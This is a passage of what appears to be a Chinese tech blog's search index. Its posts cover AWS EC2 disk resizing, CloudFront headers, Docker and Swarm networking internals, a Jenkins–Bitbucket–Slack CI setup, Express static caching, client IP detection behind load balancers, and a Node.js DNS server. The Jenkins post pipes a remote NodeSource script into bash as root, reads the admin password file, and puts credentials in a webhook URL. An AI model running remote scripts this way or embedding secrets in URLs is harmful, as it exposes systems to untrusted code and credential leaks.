確認硬碟大小方法可以透過 df -h . 指令確認硬碟目前使用的大小這時候可以看到硬碟配置的大小 接下來可以透過 lsblk 回找最大上限的配置可以是多少上面 xvda 就是最多可以有多少大小下面 xvda1 就是實際上目前有多少大小 看另一個例子,以下圖的 xvdi 和 xvdi1 來說可配置最大上限為 8G,但目前正在使用的最大上限為 1023 MB 增加硬碟大小到 EC2 的頁面點選要更新的 EC2,點選右下角 disk 點進去之後,就進入到另一個頁面,點選 Action > Modify,會看到以下頁面,就可以增加大小了 接下來要到 EC2 裡面把實際上使用的大小擴充到可配置的最大空間以剛剛的 xvdi 為例的話,需要執行以下兩個指令才可以擴充12sudo growpart /dev/xvdi 1sudo resize2fs /dev/xvdi1這樣大小會直接擴充至可配置的最大上限,如果不想要配置到最大的話可以在後面加上幾 G 去做限制,如下123# 擇一sudo resize2fs /dev/xvdi1 2Gsudo resize2fs /dev/xvdi1 2048M","link":"/2020/01/06/aws-increase-disk-space-in-ec2/"},{"title":"CloudFront 設定 Header Forward","text":"最近在使用 CloudFront Header forward 的設定CloudFront 預設會把 User-Agent 這個 header 替換成 Amazon CloudFront於是開始研究起要怎麼把原始的 User Agent 完整的帶到 Origin 去 但由於 CF 上面的設定寫的不是很清楚於是發現以下這篇 AWS 官方文章這裡直接做一個總結 None: 使用 CloudFront 原生的行為 (例如替換 User-Agent) Whitelists: 把 whitelists 裡面的參數,完整不動 的 Forward 到 Orign 去使用 ALL: 把所有參數都 forward 到 Origin 去 下面是一個 whitelist 的簡單範例 以這張圖的設定的來說,代表 User-Agent 不會被 CloudFront 給自動替換掉而是會拿原生User-Agent直接 forward 到 Origin 去 另外這邊要提醒,Cloudfront 預設是不會 Forward Headers, Cookies 和 Query String 的這邊要特別注意,要特別設定才可以那至於 Cookie 以及 Query String 的設定看上面就明瞭了","link":"/2018/09/05/cloudfont-setting/"},{"title":"Docker 網路介紹","text":"在使用 docker 的時候最常出現網路連線的問題要如何連線到 container 裡面啊, 要如何讓 container 之間互連線等等要解決這些問題之前, 又要先了解 docker 的網路設置方法有哪些而這些設置方法各自有可以達成什麼樣的功效 NoneNone 代表的就是沒有網路, 也就是外部使無法訪問此 container 的服務此 container 也無法訪問到外部的網路服務 Host在 A 電腦上面運行 container B然後透過 docker run --network="host" image 運行時在電腦 A 上面是可以直接讀取到 localhost:8080並不需要設置什麼 -p 8080:8080 的 port forwarding 的方式即可使用透過 host 設置方法, 就是直接使用 host 的網路介面, 甚至可以進行修改但此這是方法並不建議使用在正式環境上 只是這邊要特別注意, 只有在 linue 的環境下才能使用 host 的指令詳細可以看 docker 官網的解釋 The host networking driver only works on Linux hostsand is not supported on Docker Desktop for Mac, Docker Desktop for Windows, or Docker EE for Windows Server. Bridge (預設網路介面) 如上圖所示, bridge 就是在各個 container 之間架起一個橋樑可以想像成在這個橋樑之間的城市, 都擁有自己的街道名, 在這裡就是都有各自的 IP城市之間都可以各自溝通, 也就是 container 可以使用各自擁有的 IP 進行溝通而 host 算是獨立在這整個系統之外的地方, 要與這個 container 進行連線溝通必須先經過登記這個登記就是在運行 container 的時候設置 docker run -p targetPort:hostPort 這個屬性透過把 targetPort 轉換到 hostPort, 例如說 8080:3000這樣在 container 裡面的 3000 port 就可以在 host 的 8080 port 讀取到服務了 而這個 bridge 還有一種方式, 是可以自訂字 bridge 的名稱, 這也是官方最推薦的一種方式可以想像原本預設 bridge 是官方自定義的一種名稱, 但我們是可以透過以下指令客製化這個 bridge 的名字docker network create -d bridge custom-bridge當我們客製化 bridge 的名字後, 當 container A & B 透過以下方式使用這個 custom-bridge 的時候docker run --network="custom-bridge" imageAdocker run --network="custom-bridge" imageB就代表也只有他們彼此在使用這個網路介面, 在這個狀況下 container A & B 之間溝通的方式就可以透過 container ID 去進行溝通, 例: http://containera-id:port但在這使用預設的 bridge 是無法達成的, 必須要用自訂義的才可以 除此之外, container A 和 B 之間也是能透過自定義的名字去進行溝通docker run --network="custom-bridge" --name="container-a" imageAdocker run --network="custom-bridge" --name="container-b" imageB當我在啟用 container 的時候自定義名字時他們之間就可以用 http://container-a:port 以及 http://container-b:port 進行溝通了 快速總結 使用預設 bridge 以及預設 name -> 只能使用 container ip 互相連線 使用自定義 bridge 以及預設 name -> 可以透過 container ip & id 互相連線 使用自定義 bridge 以及自定義 name -> 可以透過 container ip & id & name 互相連線 Overlay此種網路配置是希望在不同 host 之間的 docker dameon 能夠互相連線並且讓 host 裡面的 container 都連到同一個網路, 進而讓 container 互相溝通 docker dameon 可以想像成運行 docker container 的程序 在 docker overlay 的網路概念就一定會提到 docker swarm而 docker swarm 也是 docker container cluster 的管理工具那因為 docker 官網針對 overlay network 的概念是綁定在 docker swarm 上介紹 詳細的 docker swarm 下篇會講到架構以及在 docker swarm 的架構下網路是如何流動的 References Docker Network Overvie 給新手的 Docker 網絡入門","link":"/2020/05/18/docker-network/"},{"title":"CI/CD 實現 - bitbucket & Jenkins 篇","text":"前言試想一下,我們把專案寫完之後接下來就是要進行本地測試測試完成後,把專案推上去,把 PR 發給相關人員通過後需要把大家的 branch 都合併然後我們就要把這個程式放到正式環境 CI 就是上述提到的版控、程式碼分析、建置、自動化測試CD 就是把要 Release 的程式放到正式環境去,讓真正的使用者使用 雖然大家都狂說 CI/CD 是很屌很猛但其實當久,版控、程式碼分析、建置、自動化測試、部署這一整套流程自然而然能夠自動化就自動化,而且每個公司的 CI/CD 流程都會根據架構服務有所變形 CI/CD 工具只是輔助,重點是整套流程要出來才對根據不同流程,會有不同的 CI/CD 工具可以應用應該先釐清公司的服務和架構該如何做到 CI/CD 再來去想用哪些工具假如說公司都已經全都 container 化,那用 drone 或許是一個不錯的選擇又或是現階段架構不大,可以採用人工介入的半自動 CI/CD 來減少全自動化的成本等等在這推薦筆者覺得觀念寫得不錯的文章架構師觀點: 你需要什麼樣的 CI / CD ? 這篇文章主要是記錄筆者有在使用 CI/CD 流程的一部分筆記 流程圖大致上流程如下 本地端把程式 push 到 bitbucket bitbucket 接收到 push 的通知後,把此消息告訴 jenkins server jenkins 收到從 bitbucket 來的消息後,開始把程式 pull 下來 jenkins pull 成功後,開始執行 test 成功執行完 test 後,執行部署 部署成功後發送通知給 slack 流程圖如下,但第 5 個步驟的部署並不會有實際例子這會在後記部分進行說明 準備以下四點要事前準備 jenkins 可以使用 docker 安裝的,這樣就不會污染到本機環境了 專案是需要用到 npm,所以必須進到 jenkins 裡面安裝 node.js 專案則是使用 bibucket,所以需要自己準備好 bitbucket repository 此篇是使用『Slack App』去做發布訊息,所以需要一個 Slack App 的 Oauth Token 去做認證可以參考筆者之前的文章去建立 Slack App jenkins 安裝透過此指令 docker run -it -p 8080:8080 -u root jenkins/jenkins:lts安裝 jenkins 最新版,並以 root 的角色登到 container 裡面接下來用 root 的使用者安裝 node.js12curl -sL https://deb.nodesource.com/setup_12.x | bash -apt-get install -y nodejs 接下來用瀏覽器開啟 http://localhost:8080 去把 jenkins 給初始化進到頁面首先會要求你輸入初始密碼使用以下指令把密碼取得,並複製上去即可完成cat /var/jenkins_home/secrets/initialAdminPassword後面就是新增一個 admin 帳號和密碼就不截圖說明了 bitbucket 專案準備一個 node.js 專案,透過 npm init 去初始化然後在 package.json 的 scripts 裡面添加一行 test 指令然後把此專案的 bitbucet 連結準備好123\"scripts\": { \"test\": \"echo 'Start CI/CD!'\"} 取得 Slack App Oath Access Token請到 https://api.slack.com/apps 點選要使用的 Slack App 去取得 Oath Access Token 這邊需要此權限『chat:write:bot』 jenkins & bitbucket 串接jenkins 設定首先進到 jenkins 的管理頁面,這裡以 http://localhost:8080 為主首先為了要 bibucket 任何 push, merge 動作能夠在 jenkins 這邊去識別以下的條件『當 jenkins 設定當 bibucket [push/merge/…等等] master 會建置,其餘 branch 不會建置』就先必須安裝 bitbucket plugins 去做這件事情,不安裝的話 jenkins 無法識別 bitbucket 的通知點選左邊『管理 jenkins』,然後點選『管理外掛程式』,把 bitbucket 先安裝好除此之外要做到 slack 通知,也把『Slack Notification』此外掛裝好 回到 jenkins 首頁按下左上角『新增作業』,選擇 free style 往下滑到原始碼管理,選擇 git把剛剛準備好的 bitbucket 連結貼上去然後應該會出現下列的錯誤訊息,代表需要帳號密碼才可以存取此 repository 點選圖中的 add 去新增使用者帳號密碼 輸入成功後,會跳回去剛剛的畫面,輸入正確的話就不會出現錯誤訊息 下圖的 branch 設定意義是指當 bitbucket master 有變更的時候,會觸發此建置但要注意,此設定要搭配 bitbucket plugin 合用才會有效喔 接下來往下滾動會看到『建置觸發程序』,勾選圖中那兩樣,並保留排程空白 再往下把看到建置,請點選『新增建置步驟』>『新增 shell』 輸入以下 shell12cd $WORKSPACE # 移動到專案的目錄npm run test # 執行 test 指令 接下來為了要把建置的結果通知給相關人員請點選『新增建置後動作』>『Slack Notification』 這邊先勾選成功會通知即可 接下來會看到各個要輸入資訊的地方,先把除了 Credential 以外的填完 此 Credential 必須要用到剛剛得到的 Oath Access Token這裡點選 add,進去後類型選擇『Secret Text』,並把 Token 填入 這邊補充一下如果不想要每一個專案都設定一次可以回到 jenkins 首頁,點選裡面的設定可以設定全域,這樣所有專案就可以吃同一個設定就不需要讓每一個專案都設定 oath channel 等等的東西了但基本的設定還是要設置,像是在『建置成功』『建置失敗』的情境下要發送通知這種如果不設定的話,訊息是不會發送到 slack 的 接下來按下右下角 Test Connection成功的話就會在 slack 上面看到 jenkins 的訊息了最後按下儲存 接下來要設定能夠讓 bitbucket 呼叫到我們 jenkins 的 api在此之前我們需要先建立 api token點選『使用者』>『點選剛建立的 admin』即可取得 api token 『按下 Add new token』,馬賽克那一串就是 api token 了 Bitbucket 設定到 bitbucket 的專案設定裡面,點選 webhook 把此 url 設定進去http://[jenkins 帳號]:[jenkins api token]@[jenkins url]:[jenkins port]/git/notifyCommit?url=[bitbucket branch]如果 jenkins 帳號是 admin,api token 是 12345然後 jenkins url 是 ngrok or public ip,這邊以 1.1.1.1 為範例port 是 8080,branch 是 https://user@bitbucket.org/user/ci-cd-test.git全部綜合起來,連接應該要如下http://admin:12345@1.1.1.1:8080/git/notifyCommit?url=https://user@bitbucket.org/user/ci-cd-test.git 如果沒有自己 server 的人可以用 Ngrok - Connect to your localhost! 讓 bitbucket 連線到你的 jenkins server 建立完成後,點選『View Request』就可以看有沒有 branch 被推上來 實作結果接下來到專案內,隨意修改並進行 push,就會看到下面有列出 request 進來 在 jenkins 上面就會看到有建置開始在運行了左下角出現 #6 就是正在建置的號碼 點選進去後,可以看到 commit 的 log 點選『Console Output』,最下面可以看到剛剛專案的 Start CI/CD 就出現了 Slack 裡面也會出現建置成功的通知 後記這樣就算是打通 CI/CD 粗略流程了實際上 CI 還要包含跑測試以及跑程式掃描而 CD 還要有部署到伺服器以 CD 來說可以利用 ssh root@1.1.1.1 "echo 1" 直接執行遠端伺服器的指令去連到另一台伺服器去跑已經撰寫好了 deploy shell或是有的使用 k8s 去做部署又或是你家的 production server 就直接放在 jenkins server 上 XD這些東西都是要根據每個公司不同的伺服器架構去決定要如何去撰寫這裡就不詳細介紹該如何去實作了","link":"/2020/02/17/ci-cd-jenkins/"},{"title":"Docker Swarm 網路架構介紹 - load balancing traffic path","text":"什麼是 Docker Swarm?Docker Swarm 簡單來說就是可以在多個 host 管理多個 container 一種工具透過 Docker Swarm 你可以輕易地部署應用程式到任何一台 host 上面假如其中一台 host 掛了, 也會立刻在另一台 host 上面啟動新的 container當然 Docker Swarm 不只有這個優點像是還有以下幾點 sacling, service discovery, load balancing 等等優點這邊先給個關於 sacling, load balancing 以及 service discovery 的概念 scaling sacling 的概念比較單純, 也就是可以自動擴展或縮減 service 數量 當流量過大時, 可以一次啟動較多個 service 去處理流量 當流量過小時, 可以減少 service 去降低機器使用量 load balacning 當流量進入到 docker swarm service 中, 會有一套機制去把進來的流量進行分散 例如: 透過輪詢 (Round Robin) 的方式把流量分散出去 也就是輪流把流量送到各個服務去 (先送 A 再送 B 再來送 A 又再送 B … loop) service discovery 在 docker swarm 中每一個 service 可以自定義自己服務獨有的 DNS 接著可以讓其他 container 使用這個 DNS 去使用到服務 例如: https://my-dns-api/api/path, 此 DNS 在其他 container 是都可以讀取的到 這邊 service 指的是 container 中運行的應用程式 這篇會把重點放在 docker swarm 如何達成 load balancing 的流程上面去做解析 啟動 Docker Swarmdocker swarm 裡面有兩種角色 manager 如其名, 就是負責管理 cluster 的主機, 以及去安排每一個 service 要放在哪一台啟動 但除此之外, 此 manager 也會負責啟動 service 的責任 worker nodes 如其名, 就是執行 service 的地方, node 在此代表的是 host 要啟動 docker swarm 很簡單, 透過 docker swarm init 就可以啟動此時會看到一堆訊息出現, 意思就是去到其他要加入這個 swarm 的 node 上面輸入指令docker swarm join --token SWMTKN-1-4lhtz5h8x327cgdulc0n55y4oncfy2gkg8ae5sygcuwwej8z8t-2yd2du8o3e85qx4bgp1fpwell 172.17.0.3:2377 輸入指令後就會跳出加入成功的訊息了 再來透過 docker node ls 去確認目前的狀態可以看到現在哪一台 node 是 leader (manager) 哪一台是 woker(記得要再在 manager 那台輸入會有效) 接著我們先建立一個 API Service (3000 port)此 service 已經被我包成一個 image而要丟進去 docker swarm 中, 可以輸入以下指令docker service create --replicas 2 --name="hello-a" -p 5000:3000 node-test –replicas 代表說我目前要讓他啟動 2 個 container 去運行我的 service透過 docker service scale hello-a=3 就可以把 container 數量改變成 3 去應付大流量降低則是可以透過 docker service sacle hello-a=1 去降低使用數量–name 是定義此服務的名稱, 也可以在往後當成 DNS 給其他 service 進行使用-p 5000:3000 是要把 container 裡面的 3000 port 轉到 host 的 5000 port要注意在 docker swarm 的 host 中都必須要有此 image 才可以啟動哦! 執行完成之後, 試著在兩台不同 node 上面輸入 docker ps 可以看到會有兩個 container 正在運行也可以透過 docker service ps hello-a 去檢查 接著先在 manager node 輸入 docker service logs hello-a -f 去查看目前 service log接著在另一台 node 上面輸入 curl http://localhost:5000 會發現可以正確回傳且有 log 出現而且會發現 log 是按照順序出現在第一台, 接著第二台, 又回去第一台這就是我們一開始說到的 load balancing 的概念 (採用輪詢)) load balancing 是如何運作?接著我好奇這種 load balancing 到底是如何運作每一台機器可以擁有自己的防火牆規則, 而 iptables 就是管控這些規則的一個服務要知道流量是如何進行, 首先可以先從 iptables 下手所以我們要先知道從 5000 port 近來的流量先到了哪裡在其中一台 node 輸入 iptables -L -t nat 可以查看進來的流量會被轉去哪裡 這裡科普一下, iptables 至少會有三種表格 filter nat manglefilter 是流量進到主機本身去決定要不要 accept or drop or forward 用的nat 是流量跟此台主機並無太大關係, 主要是做來源與目的 ip & port 的轉換, 轉到更後面的伺服器mangle 屬於特殊表格, 會去標記某些規格並去改寫封包詳細可以看鳥哥的教學 從圖中最下面那條規則可以發現流量被導入到 172.19.0.2:5000 這邊去了那麼 172.19.0.2 又是哪一台呢? 接著用 ifconfig 查看目前網路介面可以發現有一條 172.19.0.1 那一個網路介面, 看來跟這個非常有關係, 名字則是 docker_gwbridge這是此 node 建立 container 之後, 跟這個 container 建立連線用網路介面所以代表 node 裡面一定有一個 container 的 ip 是 172.19.0.2 透過 docker network inspect docker_gwbridge看看是哪一個 container 掛在此 ip 上面 這裡發現有一個被隱藏起來的 container 名叫做 ingress-sbox所以看起來流量是先進入這個 container 然後再把流量分配到真正的 service那麼 ingress-sbox 是透過什麼方式把流量導入過去呢? 透過 nsenter --net=/var/run/docker/netns/ingress_sbox 可以進去到此 container 的網路介面去在裡面輸入 iptables -L -t nat 以及 iptables -L -t mangle關於 iptables 詳細路由順序介紹可以看鳥哥的教學去理解, 這邊就不多作介紹 這邊就直接把路釐清 封包先進入到 mangle 這張表的 PREROUTING 發現 5000 port 被標記著 0x102 這條規則 透過輸入 ipvsadm -L 可以找到此條規則的設計 printf "%d\\n" 0x102 = 258 就發現這裡指向兩個 ip, 而這兩個 ip 就是我們真正 service 的 ip 了 流量就是在這邊開始進行 Load Balancing 被導入過去 那因為進入到 mangle 這個 table 就把流量導走了, 所以就用不到 nat 那一張表格 這邊 Load Balancing 是透過 IPVS 去達成的詳細 IPVS 介紹可以看看此篇教學 這邊就確認一下 10.0.0.5 和 10.0.0.6 是不是真的是 container ip在各自 host 透過 docker inspect container-id 可以查看到各自 container 的 ip可以發現裡面確實是有 10.0.0.5 和 10.0.0.6 總結 流量先進入到 host 的 5000 port 發現 host 有一條規則是把流量導入到 ingress_sbox container 在 ingress_sbox container 裡面又再把流量導入到真正的 service container 詳細流程可以參照以下這張圖去比對, 請看黃色那一條虛線的路 (有標記數字)搞懂 load balancing 的概念後, 下一篇將會解析 docker swarm 如何做到 service discovery (custom DNS) References Blocking ingress traffic to Docker swarm worker machines iptables How Docker Swarm Container Networking Works – Under the Hood nsenter 命令簡介 Docker Swarm Reference Architecture: Exploring Scalable, Portable Docker Container Networks","link":"/2020/05/25/docker-swarm-load-balancing/"},{"title":"Docker Swarm 網路架構介紹 - Service Discovery","text":"前言在上一篇 Docker Swarm 網路架構介紹 - load balancing traffic path 介紹過當流量進來的時候流程接下來這篇會介紹如何讓 container 之間可以透過 DNS 的方式進行連線 Container IP還記得上一篇提到實際上運行 service 的兩個 container IP 為 10.0.0.5, 10.0.0.6在我們透過 DNS 之前, 我們能不能先用 container IP 去互相連線呢? 因為筆者機器重開的原因, 接下來的 ip 可能都會有些變動原本是 10.0.0.5 10.0.0.6會換成 10.0.0.7 10.0.0.8又或是 10.0.0.9 10.0.0.10主要去注意我在講哪一個 container 以及後面括號的 ip 即可 我們在 container-a (10.0.0.7) curl container-b (10.0.0.8) 那一台會發現無法連線 這非常詭異, 理論上 container 之間應該要可以連線不然上一篇的隱藏的 ingress_sbox 怎麼可以連到其他台 container 呢? 但神奇的事就來了, Docker 官方有說明可以透過 Custom Overlay Network 的方式讓 container 互相連線我們先來實作 custom overlay network 讓 container 之間互相連線再來頗析為何只有 Default Overlay Network 的 ingress_sbox 可以連線到其他 container, 但其他 container 之間卻無法連線 Custom Overlay Network透過 docker network create -d overlay my-overlay 建立自訂義的 overlay network接著再啟動 service 的時候把這個 overlay network 附加上去docker service create -p 5000:3000 --network="my-overlay" --name="hello-a" --replicas 2 node-test建立完成之後, 我們先進去看一下 container 的網路介面會發現, 每個 container 裡面又多了一個 10.0.1.x 的網路介面這個就是我們自定義的 overlay network, 所以 container 之間溝通就會透過此組 IP 去溝通此時會發現上面 10.0.0.x 的 IP 還是會保留, 原因是那是給 ingress_sbox 去做 load balancing 使用的接著我們試著在 container-a (10.0.1.4) curl container-b (10.0.1.3)會發現有正常回傳一個 HI, 就代表連線成功了! 那麼一個疑問就來了, 他是怎麼找到另一個 container-b 的呢?為何在原本的 overlay 環境下無法連線, 但在這個 overlay 下卻可以連線試著在 container-a 裡面找是否有 iptables 等等的相關設定後來是透過 ip neigh 找到區網內把 IP 解析成 MAC 地址的一個地方透過 ARP 的方式可以找到 container-b 正確的位置另外從下面圖的結果看來, 可以發現 10.0.0.x 並沒有在這裡面這也符合在 default overlay network 狀況下, container 之間是無法連線的 按照上面邏輯 default overlay network 下的 ingress_sbox 的 ARP 解析中應該會出現 10.0.0.x 10.0.0.y 兩個 container IP因為在上一篇 ingress_sbox 充當 load balancing 的角色ingress_sbox 必須知道 10.0.0.x 以及 10.0.0.y 的 MAC 地址在哪裡從下圖中就可以看到確實在 ingress_sbox 裡面是有針對 10.0.0.x/y 去做 ARP 解析的 接著最後就是來到 custom DNS 的部分, 在 container-a 和 container-b 裡面是可以輸入 http://hello-a:3000 去使用的 API 服務在 container-a/b 中應該有一個地方會把 hello-a 這個 domain 解析成特定的 IP這樣才能讀取到服務, 但是這個設定在哪裡? 這個設定其實是藏在 Docker Engine 裡面的 DNS Server根據 Docker 官網 - Swarm Native Service Discovery在 container query hello-a 的時候會先到 Docker 裡面的 DNS Server 去解析這個域名解析成功後才會返為此域名的 IP 以官方提供的流程圖來說, Query myservice 這個域名透過 Docker DNS Server 會回傳此域名的 IP 為 10.0.0.3 至於詳細設定的部分我翻了老半天都找不到, 這可能要直接去讀 docker 源碼了… 後記這樣一來就稍微搞懂 docker 以及 docker swarm 裡面的網路架構流程大致上都是透過以下幾個技術去處理掉整個流程 iptables 防火牆管控, 可以導轉流量到應該要去的位置, 或是過濾不要的流量 IPVS (IP Virtual Server, tool: ipvsadm) Linux 核心擁有的 Load Balancing 在上一篇的範例中, 運用在 ingress_sbox —load balancing—> service ARP (Address Resolution Protocol) 解析 IP 後取得真正的 MAC Address 用 在本篇的範例中, 運用在 container 之間互相溝通 NAT (Network Address Translation, tool: iptables) 運用在 iptables 裡面的機制, 可以改變封包傳送端與接收端的 IP 地址 在上一篇的範例中, 運用在 localhost:5000 -> ingress_sbox Embedded DNS Server 在 container 之中, 自定義的網域會來到這邊做解析, 並取得到自定義網域下的真實 IP 在本篇的範例中, 運用在 query hello-a 域名時 這邊就記錄下來, 方便以後有個思路可以循著走 References Blocking ingress traffic to Docker swarm worker machines iptables How Docker Swarm Container Networking Works – Under the Hood nsenter 命令簡介 Docker Swarm Reference Architecture: Exploring Scalable, Portable Docker Container Networks","link":"/2020/06/02/docker-swarm-service-discovery/"},{"title":"Express 對靜態檔案做了什麼? 為什麼會被 cache 住呢?","text":"前言最近突然有一個想法開始研究起瀏覽器端的 Cache 方法加上小弟常用 nodejs + express 去寫前後端於是開始研究起 express 裡面有一個 middleware 怎麼做起瀏覽器 cache 這件事 介紹在 express 裡面有一個 function 叫做 express.static()這個是一個 middleware,最常被用在要讀取一些靜態檔案上面以這個寫法來說 app.use(express.static(__dirname + './public'))是指向 public 這個資校夾裡面,假設裡面有一個檔案叫做 index.html 的話,並且伺服器的 port 是 8080那麼在網址列輸入 http://localhost:8080/index.html 這樣就可以讀到這個檔案了 追朔源頭那我的疑問來了,我打開 Chrome Inspect 的 Network Tab 去看了一下他的 Response Headers發現一件很奇怪的事情,我明明什麼都沒有設定,卻出現幾個有關 Cache 的 Headers Accept-Ranges Cache-Control ETag Last-Modified 有關 Cache 的一些機制和理論就不多作介紹這裡單純就爬一下 Source Code,看看 express 對靜態檔案做了什麼 express在 express source code 中,發現他是用了另一個 library server-static於在就再來看看 server-static 做了什麼 1exports.static = require('serve-static'); serve-static我只列出關鍵幾行,其他行主要都是設置參數用而已 從第一行可以看出,把 serverStatic 這個 function 給 export 出來了再往下看會發現有一個 send function 把 path 傳了進去然後在最後面,stream.pipe(res) 對 response 做了一些更動 於是再往下找找看 send() 這個是什麼東西 12345678910111213module.exports = serveStatic;var send = require('send')function serveStatic (root, options) { // Some codes .... var stream = send(req, path, opts) // Some codes .... // pipe stream.pipe(res)} send – send根據上一段程式最後一段 (12行),他 call 了一個 pipe 的 functionpipe function 裡面去 call this.sendFile(path)this.sendFile 裡面又去 call self.send(path, stat)然後在 send 這個 fucntion 裡面出現關鍵的 function – this.setHeader看來 response headers 就是在這邊被更改了 123456789101112131415161718192021222324252627module.exports = send// 這邊回傳給到 server-static 去 call// 也就是上一段程式碼的第 8 行,然後在第 function send (req, path, options) { return new SendStream(req, path, options)}SendStream.prototype.pipe = function pipe (res) { this.sendFile(path)}SendStream.prototype.sendFile = function sendFile (path) {// 這個等等 demo 截圖會看到,所以先留著 debug('stat \"%s\"', path) self.send(path, stat)}SendStream.prototype.send = function send (path, stat) { // 這個等等 demo 截圖會看到,所以先留著 debug('pipe \"%s\"', path) // set header fields this.setHeader(path, stat)} send – setHeader找到了對 header 做更動的地方後,以第 11 ~ 20 行中間這段 Code 來說去設置了 Cache-Control 的內容,依照整個邏輯下如果沒有特別設置,那麼 header 會長以下這樣 Cache-Control: public, max-age=0 123456789101112131415161718192021222324252627282930313233SendStream.prototype.setHeader = function setHeader (path, stat) { var res = this.res this.emit('headers', res, path, stat) if (this._acceptRanges && !res.getHeader('Accept-Ranges')) { debug('accept ranges') res.setHeader('Accept-Ranges', 'bytes') } if (this._cacheControl && !res.getHeader('Cache-Control')) { var cacheControl = 'public, max-age=' + Math.floor(this._maxage / 1000) if (this._immutable) { cacheControl += ', immutable' } debug('cache-control %s', cacheControl) res.setHeader('Cache-Control', cacheControl) } if (this._lastModified && !res.getHeader('Last-Modified')) { var modified = stat.mtime.toUTCString() debug('modified %s', modified) res.setHeader('Last-Modified', modified) } if (this._etag && !res.getHeader('ETag')) { var val = etag(stat) debug('etag %s', val) res.setHeader('ETag', val) }} DEMO另外提供另個方法可以追回去 (我是懶得寫程式直接看 source code XD)安裝完環境之後要跑 server 的時候,可以這樣下 DEBUG=* node server.js 從圖片中可以發現,那些 log message 是一樣的 後記一直以來以為是 express 的做法讓檔案可以 cache 住原來一直都是默默無名的 opensouce library 在幫助 express 啊希望這篇有稍微幫助到對 express 處理 static files 有疑慮的人","link":"/2017/12/11/express-static/"},{"title":"如何從多層 Load Balancer / Nginx 取得使用者正確的 IP?","text":"[Update 2021-12-06] 新增推薦拿法 前言我們有時候要取得使用者 IP往往都會用最簡單的方式取得 IP以 express 為例子,會使用 req.connection.remoteAddress req.ip 等等方式取得 IP但你知道,當伺服器被多層的 Load Balancer 保護在前面的時候取得到的 IP 會是 Load Balancer 的嗎?而真正的 IP 會被 Load Balancer 放在 X-Forwarded-For 上面,傳遞到後面伺服器如果不知道的話,那這邊文章有可能會幫助到你 接下來會以 AWS 的 Load Balancer 以及伺服器上建立一個 Nginx 服務然後還有一個 express server 服務來說明從無 Load Balancer 到雙層 Load Balancer 的架構下分別該如何取得 IP Direct Connection架構示意圖如下 當我們連線時直接連到伺服器時可以透過 express 的 req.connection.remoteAddress 取得到使用者的 IP (233.x.x.x)原因是此時的呼叫者是使用者 單層 Load Balancer架構示意圖如下 當我們遇到只有一層 Load Balancer 時透過 express 的 req.connection.remoteAddress 會取得到的是 Load Balancer 的 IP (10.x.x.x, 圖中最下面)原因是 Load Balancer 作為中介者,取得到了 Rqeuest 之後會再往後端伺服器轉發,這時候呼叫者就是 Load Balancer 而不會是使用者使用者真正的 IP 是會放在 header 的 X-Forwarded-For 上面 (233.x.x.x) 這邊 Load Balancer 可以是 Nginx,但這邊我們用 AWS Load Balancer 做 DEMO原因是我們後面會需要架構出兩層 Load Balancer 的狀況 雙層 Load Balancer架構示意圖如下 而當我們再加上一層 Load Balancer 的時候 (這裡用 nginx 代替)透過 express 的 req.connection.remoteAddress 會取得到的是 Nginx 的 IP因為呼叫者從上一個案例的 Load Balancer 變成了 Nginx而我們這邊 Nginx 是架設在 localhost 裡面,所以可以看到 IP 是 127.0.0.1 (圖中最下面)那前面 Load balancer 的 IP 就被放到 X-Forwarded-For 上面去了 (10.x.x.x 那個) 雙層 Load Balancer + 惡意 X-Forwarded-For架構示意圖如下 狀況如同前面的 Case,但這邊唯一不一樣的是萬一使用者自己在 X-Forwarded-For 加了 X-Forwarded-For: 5.5.5.5, 6.6.6.6這些資料是會被放到 X-Forwarded-For 最前面去的所以在取得 IP 的時候要特別注意並不是取得 X-Forwarded-For 的第一個就可以了應該要根據你前面放了多少個 Load Balancer 去決定要拿從後面數過來的第幾個才是正確的 推薦拿法但實際上,真的非常難要你一個一個 IP 去數,所以像在 express 中有提供 trust proxy 的一個變數可以透過設定這個變數,去幫你把 x-forwarded-for 裡面的 IP 去做白名單過濾 舉例來說,現在前面有一層 Load Balancer,並只有設定 app.set('trust proxy', true)以及 x-forwarded-for: 3.3.3.3, 1.1.1.1, 2.2.2., 2.2.2.2,此時 req.ip 會拿到 3.3.3.3在 express 官網也有提到只有這樣設定會取得最左邊的 x-forwarded-for 但我實際的 IP 想要取得的是 1.1.1.1,而 2.2.2.x 是我的 proxy,則可以這樣設定12app.set('trust proxy', true)app.set('trust proxy', ['loopback', '2.2.2.0/24']) 代表『信任的 proxy』有 127.0.0.1 以及 2.2.2.0/24接著取得 IP 的順序就會從右到左,如果有在白名單裡面,則跳過不看,最後取得 req.ip 就會是 1.1.1.1這樣就不用一個一個數了!其他像是 Rails 也有類似的設定,所以每個語言應該都有對應的東西 References其他還有很多詳細的介紹,非常推薦看以下這篇文章,大推! https://devco.re/blog/2014/06/19/client-ip-detection/","link":"/2020/01/09/express-get-client-ip-from-load-balancer/"},{"title":"自建 DNS Server (Node.js)","text":"前言因工作上需要幫忙協助建立一個 DNS Server 去測試以下一個情境當發 request 的時候解析 Domain 成 IP 這一段如果 timeout 或是時間太久的話, 相關發 request 的套件會如何處理 exception 安裝教學在安裝之前, 請先確認是否已經有安裝 Node.js, 有的話可以繼續往下看 mkdir nodejs-dns-server cd nodejs-dns-server npm install native-dns 建立檔案, dns.js 1234567891011121314151617181920const dns = require('native-dns');const server = dns.createServer();server.on('request', function (request, response) { // console.log(request) response.answer.push(dns.A({ name: request.question[0].name, address: '你想要解析後的 IP', ttl: 600, })); setTimeout(() => { response.send(); }, 1000)});server.on('error', function (err, buff, req, res) { console.log(err.stack);});server.serve(53); node dns.js 這樣就建立出一個 DNS Server另外要注意的是, DNS Server 預設是 UDP 53 port 哦! 測試測試有分成兩種方式, 擇一即可 更改發 request 套件時用的 dns server 更改網路的 dns 設定 更改發 request 套件時用的 dns server這邊測試用 Node.js 的 Axios 去進行測試這裡是透過 interceptors 去攔截 Request 然後透過自建 DNS 去解析出 IP相關程式如下 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061const dns = require(\"native-dns\");const axios = require(\"axios\")const https = require(\"https\")const net = require(\"net\");const URL = require (\"url\");function resolveARecord(hostname, dnsServer) { return new Promise(function (resolve, reject) { var question = dns.Question({ name: hostname, type: \"A\" }); var request = dns.Request({ question: question, server: { address: dnsServer, port: 53, type: \"udp\" }, timeout: 2000 }); request.on(\"timeout\", function () { reject(new Error(\"Timeout in making request\")); }); request.on(\"message\", function (err, response) { // Resolve using the first populated A record for (var i in response.answer) { if (response.answer[i].address) { resolve(response.answer[i]); break; } } }); request.on(\"end\", function () { reject(new 